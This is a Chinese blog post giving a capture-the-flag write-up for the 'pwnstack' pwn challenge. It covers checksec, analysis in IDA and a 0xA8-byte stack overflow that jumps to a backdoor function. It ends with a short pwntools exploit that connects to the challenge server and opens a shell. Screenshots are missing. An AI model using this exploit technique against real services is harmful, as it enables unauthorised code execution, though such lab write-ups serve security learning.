攻防世界 pwnstack writeup

最新推荐文章于 2024-04-04 21:12:24 发布

22的卡卡

最新推荐文章于 2024-04-04 21:12:24 发布

阅读量812

点赞数 1

分类专栏： write up 文章标签： ctf

本文链接：https://blog.csdn.net/m0_73605862/article/details/130919537

版权

87 篇文章 1 订阅

订阅专栏

题目（六）：
【题型】PWN
【题目】pwnstack
【来源】（攻防世界）https://adworld.xctf.org.cn/challenges/list
【思路】栈溢出
【具体步骤】
Step1：checksec一下，发现程序是一个只有NX的64位程序
在这里插入图片描述

Step2：将程序放到IDApro下进行静态分析。
在这里插入图片描述

Step3：发现main函数，f5查看伪代码（如果键被占用，fn+f5）。
在这里插入图片描述

Step4：进入vuln（）函数查看一下，发现有一个buf，查看发现从0xA0到0x08。
在这里插入图片描述

Step5：shift+F12查看字符串发现/bin/sh，进入发现后门函数，查看地址（ctr+x）发现为：0x400762

在这里插入图片描述

Step6：编写exp，输入后，ls查看文件，然后发现有一个叫flag的文件，cat查看文件，得到flag。
源码：

from pwn import *
p=remote("61.147.171.105",59432)
payload=b'a'*0xa8+p64(0x400762)
p.sendline(payload)
p.interactive()

在这里插入图片描述

关注